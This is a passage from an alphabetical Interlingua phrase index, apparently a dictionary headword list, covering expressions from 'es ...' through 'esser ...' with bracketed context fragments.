edificio\nes inadequate pro le construction [iste terreno\nes inadmissibile [su comportamento\nes inapte al contacto [ille\nes inattaccabile [su reputation\nes inclinate a collaborar [ille\nes inclinate [le tabula\nes incompatibile [le duo cosas non\nes incomprehensibile [le natura de Deo\nes incomprensibile [le natura de Deo\nes inconcipibile [iste situation\nes inconcipibile [le dimensiones del universo\nes inconsistente con lo que illa ha dicite le septimana passate [isto\nes incontestabile [isto\nes incorporal [Deo\nes incorporal [le anima\nes incorporee [le anima\nes incredibilemente variate [nostre mundo\nes indecise [le victoria\nes indicibile [isto\nes indigeste [iste poesia\nes indigne de nostre confidentia [ille\nes indiscutibile [isto\nes indiscutibilemente le melior roman del anno [illo\nes indiscutibilemente le melior romance del anno [illo\nes indistinguibile [iste cosas\nes indubitabile [isto\nes inexcusabile [su comportamento\nes inexcusabile [su conducta\nes infacibile [iste ascension\nes infallibile quando ille parla ex cathedra [le papa\nes infallibile [le papa\nes inferior a tres [duo\nes ingrate [le mundo\nes inimaginabile [le dimensiones del universo\nes inintelligibile [su rationamento\nes injustificabile [su modo de comportar se\nes innocente [io attesta que iste homine\nes inqualificabile [su comportamento\nes inqualificabile [su conducta\nes insatiabile [su ambition\nes inscriptibile in un circumferentia [le polygonos regular\nes insubstituibile [necuno\nes insufficiente [le medios\nes insupportabile [isto\nes intangibile [un gas\nes inter A e C [B\nes interdicite durante le fregola [le pisca\nes interdicite [le accesso del terreno\nes interprete autodidacte [ille\nes intitulate \"Discussiones de Interlingua\" [le libro\nes intransportabile [le malado\nes introvabile [objecto que\nes inutile de argumentar contra isto [il\nes inutile opponer se [il\nes invariabile in su opinion [ille\nes inviolabile [le rege\nes io forsan le guardiano de mi fratre?\nes irrefutabile [su argumentation\nes irreimplaciabile -- André Gide [cata instante de nostre vita\nes irrelevante [iste question\nes jam tarde [il\nes jectar oleo in le foco [isto\nes juste [mi horologio non\nes lasse de vostre insolentias [io\nes le accompaniator de un violinista [iste pianista\nes le appellatos e pauches es le eligitos [multes\nes le appellatos e poches es le eligitos [multes\nes le attributo de Neptuno [le tridente\nes le autor de un texto [determinar qui\nes le avaritia in persona [ille\nes le avaritia incarnate [ille\nes le avaritia ipse [ille\nes le bon tactica pro regular un tal cosa [isto non\nes le bontate personificate [tu fratre\nes le button del luce? [ubi\nes le button del lumine? [ubi\nes le Citate Eterne [Roma\nes le confirmation de lo que nos habeva supponite [su attitude actual\nes le culmine [isto\nes le culpa? [a qui\nes le culpabile [de facto ille\nes le eligitos [multes es le appellatos e pauches\nes le eligitos [multes es le appellatos e poches\nes le expression de un besonio [le fame\nes le feritate de su patre [illa\nes le fortia [le union\nes le fortia [union\nes le fructo de un longe tradition [isto ha un longe tradition isto\nes le gloria de su familia [ille\nes le honor de su parentes [ille\nes le hyperonymo de \"vacca\" [\"animal\"\nes le innocentia in persona [ille\nes le innocentia personificate [ille\nes le interruptor del luce? [ubi\nes le interruptor del lumine? [ubi\nes le inveloppe del anima [le corpore\nes le latinisation del nomine del citate anglese \"Oxford\" [\"Oxonium\"\nes le matre de tote le vitios [otio\nes le mensura de tote le cosas [le homine\nes le mesura de omne cosas [le homine\nes le mesura de tote le cosas [le homine\nes le moral del historia [isto\nes le morte del commercio [isto\nes le motor de tote isto [ille\nes le opinion del generalitate del homines [isto\nes le orgolio de su patre [illa\nes le orthographia correcte [isto non\nes le patre de tote le vitios [le otio\nes le patre del vitios [le otio\nes le patria del tulipanes [Nederland\nes le patria del tulipes [Nederland\nes le pensamento intuitive [le contrario del pensamento discursive\nes le pensata intuitive [le contrario del pensata discursive\nes le perla de mi collection [iste pictura\nes le persona idonee pro illo [ille\nes le personification del vanitate [ille\nes le prime symptoma del vetulessa [le rugositate\nes le profunditate de ...? [qual\nes le resultato de un longe tradition [isto ha un longe tradition isto\nes le salvation [Jesus\nes le sclavo de su habitudes [le homine\nes le sclavo de su labor [ille\nes le sclavo de su travalio [ille\nes le solution preferibile [iste\nes le terror de iste quartiero [Carlo\nes le urdu [un lingua official pakistani\nes le vanitate personificate [ille\nes le vehiculo del pensamento [le lingua\nes le vehiculo del pensata [le lingua\nes le \"viridis\" latin [le etymo de interlingua \"verde\"\nes le virtute supreme [le caritate\nes le vita [assi\nes le vive imagine de su matre [illa\nes lontano del veritate [tu non\nes mal [le exposition de iste pictura\nes malade [suggerer a un persona que ille\nes matinal [ille\nes medicalmente impossibile [isto non\nes medico de profession [ille\nes melio que curar [prevenir\nes melio que remediar [prevenir\nes mi costume [isto normalmente non\nes mi incumbentia solver isto [il non\nes mi teste [le celo\nes minime [le differentia\nes minus periculose [in iste puncto le vadar\nes molluscos acephale [le musculos\nes moneta perdite [isto\nes moneta [tempore\nes moralmente irresponsabile [isto\nes morte [on suppone que ille\nes multo absorbente [iste spongia\nes multo attrahite per le luxo [illa\nes multo avantiate [le travalio\nes multo ben dotate [ille\nes multo commode [iste calceos\nes multo commode [iste scarpas\nes multo critic [le stato del malado\nes multo critic [le stato del patiente\nes multo debile [le pulso\nes multo distractive [iste libro\nes multo industrialisate [le region circum Rotterdam\nes multo pron al frigido [ille\nes multo recercate [su compania\nes multo sensibile al frigido [ille\nes multo servicial [ille\nes multo versate in historia [le homine\nes multo versate in le materia [ille\nes native de Zwolle [ille\nes nocive pro le sanitate [fumar\nes non glycosuric [su urina\nes nove hic [ille\nes obligatori [prisa per le dama\nes obstructive pro le commercio [isto\nes obvie que [il\nes occupate [iste placia\nes omnipresente [Deo\nes omnivore [le porco\nes operational [iste methodo non\nes opinabile [lo que ille dice\nes ordines [ordines\nes originari de Bilthoven [io\nes out [le balla\nes out [le ballon\nes paralysate [su mano\nes parentes [nostre nomines es homonyme, ma nos non\nes pauco intelligente [ille\nes pauco rentabile [le interprise\nes perdite [le occasion\nes perdite [tu non debe dramatisar, le situation non\nes perfectemente comprensibile [su reaction\nes periculose [le abuso de somniferos\nes perissodactylos [le rhinocerote e le tapir\nes perniciose al sanitate [fumar\nes perniciose pro le sanitate [fumar\nes perpendicular [le muro non\nes personal [iste observation non\nes personal [iste remarca non\nes pertinente [iste question non\nes pessimista super le resultato del electiones [io\nes plen de grumos [le pappa\nes plen de incongruentia [le deposition del teste\nes plen de rugas [iste camisa\nes plenmente satisfacte [io\nes plus difficile que [nihil\nes plus facile de intuer que de explicar rationalmente [isto\nes plus facile de intuer que de rationar [isto\nes plus nutriente que le patatas [le ris\nes plus que le umbra de lo que ille ha essite [ille non\nes plus que medianmente dotate [illa\nes poco rentabile [le interprise\nes possedite per un demonio [illa\nes possibile [in theoria isto\nes posterior a 1900 [le documento\nes practicabile [iste methodo non\nes practicamente incombustibile [le amianto\nes preferibile a illo [isto\nes preferibile [isto\nes prendibile [le fortalessa non\nes presentabile [le texto con tote iste correctiones non\nes previder [governar\nes previste in le planification [isto\nes previste [isto\nes prime in le classification [ille\nes primordial [su vita private\nes pro un bon fin [isto\nes problematic [le resultato\nes profunde [le casa non\nes programmabile [iste datos non\nes prohibite [le accesso del terreno\nes propense al peccato [le homine\nes propheta in su patria [nemo\nes proportionate al delicto [le mulcta\nes prorogabile [le mandato\nes proverbial [su distraction\nes pulvere e in pulvere tu te convertera [tu\nes pur invidia [isto\nes pur phantasia [isto\nes quasi nulle [su bagage scientific\nes quasi sex horas [il\nes que [le veritate\nes que [lo que es curiose in iste caso\nes quite [nos\nes recular [non avantiar\nes reeligibile [le presidente\nes renominate [le cocina francese\nes renovabile [le passaporto\nes repugnante [isto me\nes requirite [le cognoscentia de linguas non\nes requirite [le cognoscimento de linguas non\nes requirite [un certe reserva\nes retroactive usque a 1960 [iste lege\nes retroactive [le lege non\nes reversibile [le historia non\nes riccamente mobilate [iste casa\nes ridiculemente vestite [illa\nes sacrosancte pro ille [su bibliotheca\nes salvate [post multe peripetias le heroe\nes salve [le honor\nes satisfaciente [le stato del malado\nes scandalose [su comportamento\nes scandalose [su conducta\nes scarse [le moneta\nes sedite in fila [illes\nes semiaperte [le porta\nes semper imprevisibile [hic le tempore\nes semper occupate [ille\nes semper un simia, anque vestite de seta [le simia\nes sempre imprevisibile [hic le tempore\nes sempre occupate [ille\nes sempre un simia, anque vestite de seta [le simia\nes sesquialtere de duo [tres\nes sic [le pumpa\nes significative del problematica social [le vandalismo\nes simplemente illegibile [vostre scriptura\nes sin importantia [isto\nes sin resto [le division\nes situate al bordos del Mosa [Rotterdam\nes solo le initio [isto\nes solo un executor de ordines [ille\nes solubile in aqua [sucro\nes stockate in le memoria [le information\nes strictemente connectite [iste factos\nes strictemente imbricate [le duo problemas\nes su forte [le amibilitate non\nes su sanctuario [su bibliotheca\nes su sol divertimento [le lectura\nes su specialitate [le interlinguistica\nes sub le sedia [le catto\nes subjecte a un mulcta grave [isto\nes submersibile [certe plantas aquatic\nes sufficiente premer le button [il\nes superflue dicer [il\nes superior a mi fortias [isto\nes superior al comprehension human [isto\nes superior al comprension human [isto\nes supportabile [su comportamento nos\nes supportabile [su conducta nos\nes tabu [iste subjecto\nes tirate de un angulo del terreno [le corner\nes torpide [mi gamba\nes toto arbitrari [iste regula\nes toto de vostre gusto?\nes traditionalmente un mestiero de homines [isto\nes trafficante de heroina [ille\nes tridimensional [le spatio euclidian\nes troppo alte [le appreciation del experto\nes troppo elevate [le appreciation del experto\nes troppo numerose [le absentias de iste alumno\nes troppo riscose pro me [isto\nes tu homonymo [ille\nes tu nomine? [a proposito, que\nes ubiquitari in Nederland [le passeres\nes un abomination [iste chantage\nes un absurditate [iste refusa\nes un accusation contra le societate [iste abuso\nes un alcoholica [illa\nes un alimento complete [le lacte\nes un animal de costume [le homine\nes un animal feroce [le leon\nes un animal fidel [le can\nes un animal fissipede [le urso\nes un animal tridactyle [le rhinocerote\nes un aquila [ille non\nes un asse in linguistica [Thomas\nes un autor perfectionista [ille\nes un ben preciose [le sanitate\nes un bipede [le homine\nes un bon partito [illa\nes un calamitate pro le familia [su morte\nes un calco del germano [iste parola\nes un cancere del sanguine [leucemia\nes un characteristica specific del homine [le riso\nes un classico del jazz [iste disco\nes un clavo in mi feretro [isto\nes un contrafaction [iste producto\nes un cosa decidite [isto\nes un cosa evidente [isto\nes un crack in calculo [ille\nes un creation de Verdi [iste opera\nes un cumulo de contradictiones [illa\nes un deformation del factos [isto\nes un del virtutes cardinal [le temperantia\nes un delicia audir la [il\nes un delicto [le possession de armas de foco\nes un digitigrado [le can\nes un elemento ubiquitari [natrium\nes un emulsion natural [lacte\nes un enigma pro me [iste persona\nes un error evidente [isto\nes un error obvie [isto\nes un esser intelligente [le homine\nes un esser rational [le homine\nes un exemplo recommendabile [isto non\nes un fanatico del bandas designate [ille\nes un femina fragile [illa\nes un fiasco colossal [le nove film\nes un fluvio endorheic [le Jordan\nes un function de y [x\nes un habitude tenace [isto\nes un homine de un pecia [ille\nes un homophonia [le rima\nes un idea abstracte [le blancor\nes un insecto vorace [le locusta\nes un insulto al bon gusto [isto\nes un joco de infante [isto\nes un labor que obtunde le mente [iste\nes un labor repetitive [isto\nes un lingua paroxytonic [le italiano\nes un lingua polytonic [le lituano\nes un lingua [lo que io apprende\nes un macula pro le honor del familia [tu comportamento\nes un macula pro le honor del familia [tu conducta\nes un mago [io non\nes un mammifero quadrumane [le simia\nes un mar epicontinental [le Mar del Nord\nes un materia dense [le auro\nes un metallo conductibile [le cupro\nes un modo de action honeste [isto non\nes un mysterio complete pro me [Frits\nes un operation commutative e associative [le addition\nes un organismo vive [le lingua\nes un organismo vivente [le lingua\nes un organo lobate [le ficato\nes un organo lobate [le hepate\nes un pais bicultural [Canada\nes un pais lontan [China\nes un parola austronesian [\"mana\"\nes un perdita facilemente reparabile [isto\nes un periptero [La Madeleine, a Paris,\nes un persona qualcunque [ille non\nes un planeta terraquee [nostre terra\nes un preromantico francese [Rous-seau\nes un puncto de controversia [isto\nes un puncto de disputa [isto\nes un puncto de vista purmente theoric [isto\nes un quadro ideal pro un picnic [le bosco\nes un question de gusto(s) [isto\nes un question de mal voluntate [isto\nes un requisitorio contra le guerra [iste libro\nes un rocca metamorphic [le micaschisto\nes un sancto [comparate con su fratre ille\nes un scientia abstracte [le logica\nes un scorpion [Sara\nes un secunde natura [le habitude\nes un signal de pluvia [isto\nes un simplification del scriptura hieratic [le scriptura demotic\nes un systema hypothetico-deductive [le mathematica\nes un tracto specific del homine [le riso\nes un typo curiose [ille\nes un typo particular [ille\nes un typo special [ille\nes un ultime advertimento [isto\nes un ver despota [su patre\nes un ver labyrintho [iste palatio\nes un ver palatio [su casa\nes un ver patinatorio [le strata\nes un ver supplicio [iste infante\nes un veritabile lacca chinese [isto\nes un violation de mi intimitate [isto\nes un zero [ille\nes un [un alexandrino\nes uno qualcunque [ille non\nes usual [como\nes usual [como il\nes valide hic [iste regula non\nes valide pro le riccos [isto non\nes valide usque a 1999 [le contracto\nes valide [iste goal non\nes ver [mantener obstinatemente que un cosa\nes ver [sustener obstinatemente que un cosa\nes vergonia que vos procede assi [il\nes vergonia [non saper lo que\nes vestite del mesme maniera [illes\nes vicin al veritate [isto\nes vostre projectos pro iste estate? [quales\nes vostre [le election\nes [densitate de neutron\nes [quantocunque ric ille\nes? [que hora\nes [su prognostico del match\nesarate a omne eventualitate [ille\nEsau\nesbossar\nesbossar un imagine\nesbosso\nesbossos [album de\nesca\nesca al hamo [attachar le\nesca artificial\nesca pro le lupos [servir se de un agnetto vive como\nesca vivente\nesca [anate de\nesca [ave de\nesca [pipion de\nescalar\nescalar attaccos\nescalar un conflicto\nescalation\nescalation de un conflicto\nEscalda\nescaldar\nescaldatura\nescamota cartas [un prestidigitator qui\nescamotage\nescamotage de un carta\nescamotar\nescamotar difficultates\nescamotar papiros compromittente\nescamotar un conflicto\nescamotar un objecto in su tasca\nescamotar un passaporto\nescampar\nescappa a su destino [on non\nescappa [le allusion me\nescappabile\nescappada\nescappada [un homine maritate qui face un\nescappamento\nescappamento pollue le urbe [le gases de\nescappamento [gas de\nescappamento [potto de\nescappamento [scala de\nescappamento [tubo de\nescappamento [valva de\nescappamento [valvula de\nescappar\nescappar a un periculo\nescappar al morte\nescappar al policia\nescappar al tentation\nescappar con le cassa\nescappar de mano\nescappar del mano\nescappar del peloton\nescappar le occasion [lassar\nescappar le opportunitate [lassar\nescappar un prisionero [lassar\nescappata\nescappato\nescappatoria\nescappismo\nescappista\nescappista [lectura\nescar\neschatologia\neschatologic\neschatologic [doctrina\neschatologic [perspectiva\neschatologic [studio\neschatologista\neschatologo\neschimese\neschimese [can\neschimese [lingua\neschimo\neschimo [can\neschylo\nesclusa\nesclusa a aere\nesclusa de admission\nesclusa de evacuation\nesclusa de inundation\nesclusa de irrigation\nesclusa de mar\nesclusa de marea\nesclusa de un canal\nesclusa de un polder\nesclusa duple\nesclusa fluvial\nesclusa [camera de\nesclusa [derectos de\nesclusa [pedage de\nesclusa [porta de\nesclusage\nesclusar\nesclusas [aperir le\nesclusas [clauder le\nesclusas [construction de\nesclusata\nesclusero\nescolamento\nescolamento de un polder\nescolamento [canal de\nescolamento [fossato de\nescolamento [orificio de\nescolamento [tubo de\nescolar\nescolatorio\nescorta\nescorta armate\nescorta de honor\nescorta del policia\nescorta militar\nescorta [facer\nescorta [flotta de\nescorta [nave de\nescortar\nescortator\nescudo\nEsculapio\nesculapio\nesculente\nesculente [cypero\nesculina\nesculo\nEsdras = Ezra\neserina\nesjecte a revision cata dece annos [le contracto\nesmeraldin\nesmeraldin [le mar\nesmeraldo\nesophagee\nesophagismo\nesophagitis\nesophago\nesophago [cancere de\nesophago [carcinoma de\nesophago [movimento del\nesophago [pariete del\nesophagoscopio\nesopic\nesopo\nesopo [fabulas de\nesoteric\nesoteric de Pythagoras [le doctrina\nesoteric [libros\nesoteric [poesia\nesoteric [ritos\nesoterismo\nesoterismo del rosacruce [le\nespagnolette\nEspania\nEspania in 1492 [le judeos esseva expulsate de\nEspania Meridional [arabisar\nEspania post le octave seculo [islamisation de partes de\nEspania [blanco de\nEspania [Francia confina a\nEspania [Francia confina con\nEspania [guerra civil de\nEspania [guerra civil in\nEspania [Guerra de Succession de\nEspania [iste citros proveni de\nEspania [le Pyreneos separa Francia e\nEspania [musca de\nEspania [vinos de\nespaniol\nespaniol [dansa\nespaniol [grippe\nespaniol [lingua\nespaniol [musica\nespaniol [sauce\nespaniol-francese\nespaniol-francese [dictionario\nespaniolisar\nespaniolisation\nespaniolophone\nespaniolophone [mundo\nespaniolophono\nespaventaaves\nespaventabile\nespaventaculo\nespaventar\nespaventar se\nespavento\nespavento [reaction de\nespensas [limitar le\nesperantismo\nesperantista\nesperanto\nesperanto [curso de\nesperanto [litteratura de\nesplanada\nespressivo\nespressivo [molto\nespresso\nespresso [caffe\nesquadra\nesquadra aeree\nesquadra de agrimensor\nesquadra de aviones\nesquadra de chassa\nesquadra de ferro\nesquadra de morte\nesquadra del morte\nesquadrar\nesquadrate [ligno mal\nesquadrilia\nesquadrilia de bombarderos\nesquadrilia [volo de\nesquadron\nesque\nesque ille ha le libro?\nesque io ha essite sufficientemente clar?\nesque isto es alco nove?\nessamage\nessamar\nessamatura\nessame\nessame de apes\nessayabile\nessayage\nessayage [cabina de\nessayage [cubiculo de\nessayar\nessayar de provocar un ruptura\nessayar de trovar\nessayar le auro\nessayator\nessayista\nessayo\nessayo atomic\nessayo con un avion [facer un volo de\nessayo de laboratorio\nessayo de soldabilitate\nessayo de traction\nessayo dynamometric\nessayo nuclear\nessayo poetic\nessayo [abonamento de\nessayo [aco de\nessayo [agulia de\nessayo [auto de\nessayo [auto(mobile) de\nessayo [ballon de\nessayo [banco de\nessayo [cabina de\nessayo [colpo de\nessayo [conilio de\nessayo [cubiculo de\nessayo [perforation de\nessayo [periodo de\nessayo [peso de\nessayo [pilota de\nessayo [pista de\nessayo [reactor de\nessayo [supporto de tubos de\nessayo [supporto pro tubos de\nessayo [tempore de\nessayo [tubo de\nessayo [volo de\nessayos miscellanee\nessayos timide\nessayos [campo de\nessayos [percurso de\nessayos [pista de\nessenic\nessenic [textos\nesseno\nessentia\nessentia de caffe\nessentia de cananga\nessentia de cannella\nessentia de cedro\nessentia de citro\nessentia de citronella\nessentia de lavandula\nessentia de limon\nessentia de macis\nessentia de majorana\nessentia de mentha piperate\nessentia de mustarda\nessentia de myrto\nessentia de pipere\nessentia de rosas\nessentia de salvia\nessentia de terebinthina\nessentia de un doctrina\nessentia de [constituer le\nessentia del cosas\nessentia del homine\nessentia [le existentia precede le\nessential\nessential al vita [le nutrition es\nessential de un discussion [puncto\nessential de un libro [character\nessential de un machina [pecia\nessential [arrivar al\nessential [componente\nessential [constituer le\nessential [differentia\nessential [idea\nessential [ingrediente\nessential [oblidar le\nessential [oleos\nessential [parte\nessential [qualitate\nessential [requisito\nessentialismo\nessentialismo de Platon [le\nessentialitate\nessentialmente differente [duo cosas\nesser\nesser a casa\nesser a dieta\nesser a portata de mano\nesser a portata del mano\nesser a [dar le\nesser absente al lectiones\nesser absente de casa\nesser absorbite in un subjecto\nesser acceptate in le circulo familiar\nesser accessibile al ration\nesser accompaniate de\nesser accusate de heterodoxia\nesser accusate de homicidio voluntari\nesser adultero\nesser affamate\nesser agricultor\nesser al ancora\nesser al apice de su poter\nesser al apice del carriera\nesser al apice del gloria\nesser al base de un cosa\nesser al bordo del abysmo\nesser al bordo del bancarupta\nesser al centro de attention general\nesser al currente\nesser al disposition de\nesser al fin de su latino\nesser al labor\nesser al limite de su fortias\nesser al margine del vita\nesser al mercede de\nesser al par\nesser al passo\nesser al poter\nesser al puncto\nesser al recerca de un altere empleo\nesser al summitate del lista de candidatos\nesser al timon\nesser al travalio\nesser allerte\nesser allogiate in un hotel\nesser ambigue [le oraculos soleva\nesser ancorate\nesser animate [un\nesser ante un dilemma\nesser ante un enigma\nesser anterior a\nesser applicate amplemente\nesser apportate per le vento\nesser armate contra le frigido\nesser assecurate contra incendios\nesser assetate\nesser attentive a\nesser autosufficiente\nesser avante\nesser basicamente de accordo\nesser ben blindate [un reactor nuclear debe\nesser ben notate presso\nesser biliose\nesser borrate de tranquillisantes\nesser breve e curte\nesser breve [pro\nesser cargate de un curso\nesser cargate del direction de un curso\nesser cec super\nesser certe de un cosa\nesser chaco e mat\nesser cognite como\nesser collate al telephono\nesser como le umbra de un persona\nesser competente in un materia\nesser complementari\nesser complete [pro\nesser completemente de accordo\nesser completemente ignorante\nesser completemente inutile\nesser comprate separatemente [le differente partes pote\nesser compulsorimente assecurate\nesser con un pede in le fossa\nesser con un pede in le sepultura\nesser condemnate a perpetuitate\nesser condemnate a prision\nesser condemnate al decapitation\nesser condemnate al fustigation\nesser condemnate al inactivitate\nesser confortate in su opinion\nesser confrontate a su proprie limites\nesser confrontate con difficultates\nesser congedate\nesser conic\nesser connectite al monitor\nesser consciente del necessitate de un cosa\nesser consequente in su actiones\nesser considerate como norma\nesser considerate in su totalitate [iste problema debe\nesser considerate [meritar\nesser consumite per le flammas\nesser contaminate per un virus\nesser contra\nesser contrari al expectation\nesser contrariante\nesser controlo parental\nesser corporatura robuste\nesser crucifigite\nesser curatela\nesser curte de gambas\nesser curte de halito\nesser curte de moneta\nesser de accordo\nesser de accordo con le inimico\nesser de basse extraction\nesser de basse nascentia\nesser de basse origine\nesser de bon augurio\nesser de bon humor\nesser de carne e de sanguine [un\nesser de carne e sanguine [un\nesser de conniventia con le inimico\nesser de consequentia\nesser de constitution delicate\nesser de faction al angulo del strata\nesser de humor contradictori\nesser de mal augurio\nesser de mal humor\nesser de memoria curte\nesser de nascentia nobile\nesser de opinion contrari\nesser de opinion que\nesser de origine nobile\nesser de primari importantia\nesser de prime importantia\nesser de reserva\nesser de retorno\nesser de rigor\nesser de sanguine regal\nesser de sanguine royal\nesser de transito\nesser debitor de un persona\nesser declarate persona non grata\nesser del competentia de\nesser del incumbentia de\nesser del mesme etate\nesser del mesme opinion\nesser del moda\nesser deliberate a non ceder\nesser designate como successor\nesser desperatemente inamorate\nesser detra\nesser devorate de jelosia\nesser devorate per le flammas\nesser devorate per le invidia\nesser digne de veneration\nesser discutite [susceptibile de\nesser disfigurate per le variola\nesser disgustate de un cosa\nesser disposite a adjutar\nesser disposite a facer un cosa\nesser divise super un cosa\nesser domiciliate\nesser dotate de autocritica\nesser equal al monstra\nesser eque\nesser equilibrate\nesser ericiate de debitas\nesser exacte a un rendez-vous\nesser exempte de phantasia\nesser exempte de servicio militar\nesser exempte del examine de mathematica\nesser exempte del servicio militar\nesser eximite de pagar impostos\nesser experto in le materia\nesser experto in un campo determinate\nesser exponite a vilification\nesser extra le lege\nesser extranee a un cosa\nesser extraterrestre\nesser extrememente subestimate\nesser extremementeestimate\nesser facilemente identificabile [le autor del furto ha lassate multe tracias e debera\nesser familiar con\nesser felice [non haber nascite pro\nesser fidel a su principios\nesser filio de su epocha\nesser filio del fortuna\nesser firme super su gambas\nesser folle de gaudio\nesser folle de joia\nesser foras de casa\nesser foris de casa\nesser foris de tempore\nesser foris de uso\nesser foris del lege\nesser foris sin uso\nesser forte in historia\nesser grasse al tacto\nesser grate a Deo\nesser grate al oculos de Deo\nesser human\nesser humiliate\nesser idonee pro un bursa de studio\nesser imbibite de prejudicios\nesser imbuite de un idea\nesser immergite in le sopor\nesser implicate in complot\nesser impotente ante un disastro\nesser imprisionate\nesser in adoration cec ante\nesser in agonia\nesser in apprentissage\nesser in balancia\nesser in bon manos\nesser in bon terminos con\nesser in cammino\nesser in carne\nesser in cerca de\nesser in cholera\nesser in coma\nesser in competition con un persona\nesser in condition de\nesser in conferentia\nesser in congedo\nesser in contacto con\nesser in contradiction con\nesser in contravention\nesser in convalescentia\nesser in conversation con\nesser in cura\nesser in declivitate\nesser in despero\nesser in difficultates monetari\nesser in disaccordo con\nesser in disavantage\nesser in disgratia\nesser in dubita\nesser in ebullition\nesser in effervescentia\nesser in equilibrio\nesser in error\nesser in faction al angulo del strata\nesser in foco\nesser in forma\nesser in garnison\nesser in grande consideration\nesser in grande estima\nesser in grande miseria\nesser in guarnition\nesser in guerra con\nesser in imboscada\nesser in incertitude\nesser in infraction\nesser in le agenda\nesser in le bracios de Morpheo\nesser in le coma\nesser in le mesme banio\nesser in le miseria\nesser in le nubes\nesser in le opposition\nesser in le vigor del annos\nesser in linea\nesser in lucto\nesser in mal terminos con\nesser in minoritari\nesser in pace con su conscientia [non\nesser in panna\nesser in passo\nesser in pedes\nesser in periculo\nesser in periculo de vita\nesser in plen crescimento\nesser in plen decadentia\nesser in plen functionamento\nesser in plen marcha\nesser in plen possession de su facultates mental\nesser in plen possession de su facultates mental [non\nesser in possession de\nesser in possession del ballon\nesser in preda al panico\nesser in prision\nesser in relationes epistolari con un persona\nesser in retardo a un rendez-vous\nesser in securitate\nesser in servicio pagate\nesser in stato de\nesser in stato de abandono\nesser in stato de coma\nesser in stato de ebrietate manifeste\nesser in stato de putrefaction\nesser in su derecto\nesser in su elemento\nesser in tractamento\nesser in transito\nesser in un complot\nesser in un currente de aere\nesser in un position disavantagiose\nesser in un position privilegiate\nesser in un situation deplorabile\nesser in un situation incommode\nesser in un stato de absentia de peso\nesser in un stato euphoric\nesser in un stato pietose\nesser in uso\nesser in via de curation\nesser in vigor\nesser in voga\nesser inaccostumate a un genere de vita\nesser incantate de un cosa\nesser incantate de un persona\nesser incapabile de mentir\nesser incargate del administration\nesser incargate del representation\nesser incargate del vigilantia de\nesser inclinate a facer un cosa\nesser incommodate per le calor\nesser incompetente in materia de pictura\nesser indebitate usque al aures\nesser indebitate usque al collo\nesser indefense contra le tentation\nesser indisposite contra un persona\nesser inferior a\nesser inferior al monstra\nesser insolente con un persona\nesser intelligente [le homine es un\nesser inter duo focos\nesser inter le vita e le morte\nesser intercessor pro un persona\nesser interrate con le honores militar\nesser interrate in un avalanche\nesser intime con un persona\nesser involvite in un controversia\nesser involvite in un disputa\nesser irate contra un persona\nesser jelose del libertate\nesser judice in su proprie causa\nesser justificate [isto non pote\nesser juvene de corde\nesser juvene de spirito\nesser laborante intensemente\nesser large de conscientia\nesser latente in\nesser le autoritate de un persona\nesser le bracio dextere de\nesser le bracio dextre de\nesser le centro del attention\nesser le commandamento de un persona\nesser le duo bracios del mesme corpore\nesser le ferula de un persona\nesser le joculo del fortuna\nesser le justitia [un caricatura de lo que deberea\nesser le justitia [un parodia de lo que deberea\nesser le mano derecte de un persona\nesser le menacia de\nesser le moderator inter duo personas\nesser le motor del interprisa\nesser le objecto del execration general\nesser le opprobio de su familia\nesser le preda del flammas\nesser le reimplaciante de\nesser le sclavo de su passiones\nesser le sclavo de su routine\nesser le sol recurso de un persona\nesser le tutor de\nesser le umbra de un persona\nesser legion\nesser licentiate\nesser ligate al monitor\nesser longe de imaginar se que\nesser lontano del cammino\nesser maestro de su decisiones\nesser maestro de su destino\nesser maestro de su objecto\nesser maestro de su subjecto\nesser maestro del situation\nesser majoritari\nesser membro del direction\nesser menaciate de un ruina total\nesser moderate in su desiderios\nesser moderate in su desiros\nesser mortalmente pallide\nesser mulctate\nesser multo occupate\nesser mutualmente exclusive\nesser nascite un bon stella\nesser nulle\nesser nutrite gratis\nesser objecto de discussion\nesser obligatorimente assecurate\nesser obstructive\nesser occidite in un accidente\nesser occupate immediatemente [iste casa pote\nesser octogenari\nesser opposite a\nesser pagate convenibilemente\nesser par\nesser parte in un conflicto\nesser partitario del mano dur\nesser penetrate de pietate\nesser penetrate de su responsabilitate\nesser pensante\nesser perfectemente consciente de\nesser perpendicular a\nesser perseverante\nesser plen de verve\nesser plenmente conscie de\nesser plenmente consciente de\nesser plenmente convincite\nesser plus catholic que le papa\nesser plus morte que vive\nesser plus proxime al populo\nesser plus proxime al veritate\nesser poeta nate\nesser preda de\nesser preoccupate per un cosa\nesser presente al memoria\nesser presente in le mente\nesser preste a tote eventualitate\nesser presumptuose\nesser primarimente orientate al mercato American\nesser prioritari\nesser private de\nesser private de su derectos\nesser private del vista\nesser probante\nesser proclive al indulgentia\nesser prodige de\nesser profundemente emotionate\nesser profundemente irritate\nesser profuse in superlativos\nesser prolixe\nesser qualificate pro un posto\nesser quiete [urger\nesser rational [le homine es un\nesser receptive al beltate de un paisage\nesser recipite calorosemente\nesser refusate a un examine\nesser reimplaciate [necessitar urgentemente\nesser reputate\nesser resistente al fatiga\nesser responsabile del bon marcha del cosas\nesser responsabile del infantes\nesser reunite in un assemblea\nesser satis\nesser sclavo de su routine\nesser scribite in litteras de auro\nesser scribite in litteras de sanguine\nesser sedite\nesser sedite al umbra\nesser sedite in le penumbra\nesser sedite incommodemente\nesser semper disposite a opinar\nesser sempre disposite a opinar\nesser signate per tote le interessatos [le contracto debe\nesser silente [urger\nesser sin consideration\nesser sin occupation\nesser sin pulso\nesser sin scrupulos\nesser specialisate in un cosa\nesser strictemente tabu\nesser su proprie judice\nesser sub le influentia de un persona\nesser sub pressa\nesser submergite in pensamentos\nesser submergite in pensatas\nesser submittite a deterioration\nesser submittite a un expertise\nesser submittite al disciplina\nesser submittite al influentia de un persona\nesser subrogate in le derectos de un persona\nesser sufficientemente habile pro\nesser super carbones ardente\nesser super le puncto de\nesser super le spinas\nesser super le tapete\nesser super le tapis\nesser super par\nesser super toto un bon definitor [le lexicographo debe\nesser super un lecto de rosas\nesser superior a omne elogio\nesser superior a tote elogio\nesser superior numericamente\nesser supervision\nEsser Supreme\nEsser Supreme [le\nesser surveliantia\nesser surveliate per un monitor\nesser suspecte de heresia\nesser teste de\nesser thema de discussion\nesser tormentate de angustias mortal\nesser torturate de remorso\nesser totalmente felice\nesser totalmente ignorante\nesser tote aures\nesser tractate como un intruso\nesser tractate como un regina\nesser transportate de gaudio\nesser transportate de joia\nesser travaliante intensemente\nesser tutela\nesser ubicate\nesser un adherente del communismo\nesser un anima candide\nesser un bibitor moderate\nesser un exception\nesser un experto in le materia [io non pretende\nesser un forte tension psychic\nesser 